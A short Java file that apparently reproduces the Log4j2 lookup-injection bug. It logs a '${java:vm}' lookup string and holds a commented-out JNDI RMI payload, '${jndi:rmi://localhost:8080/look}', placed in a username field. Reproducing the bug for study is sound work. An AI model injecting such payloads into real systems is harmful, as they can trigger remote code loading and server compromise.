package com.wyl.bugReappear;


import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

public class Log4jBug {

    public static void main(String[] args) {
        Logger logger = LoggerFactory.getLogger("log4j2");
        logger.debug("helloworld");
        logger.error("{}登录成功", "${java:vm}");
//        logger.error("用户名：{}", "${jndi:rmi://localhost:8080/look}");
    }
}
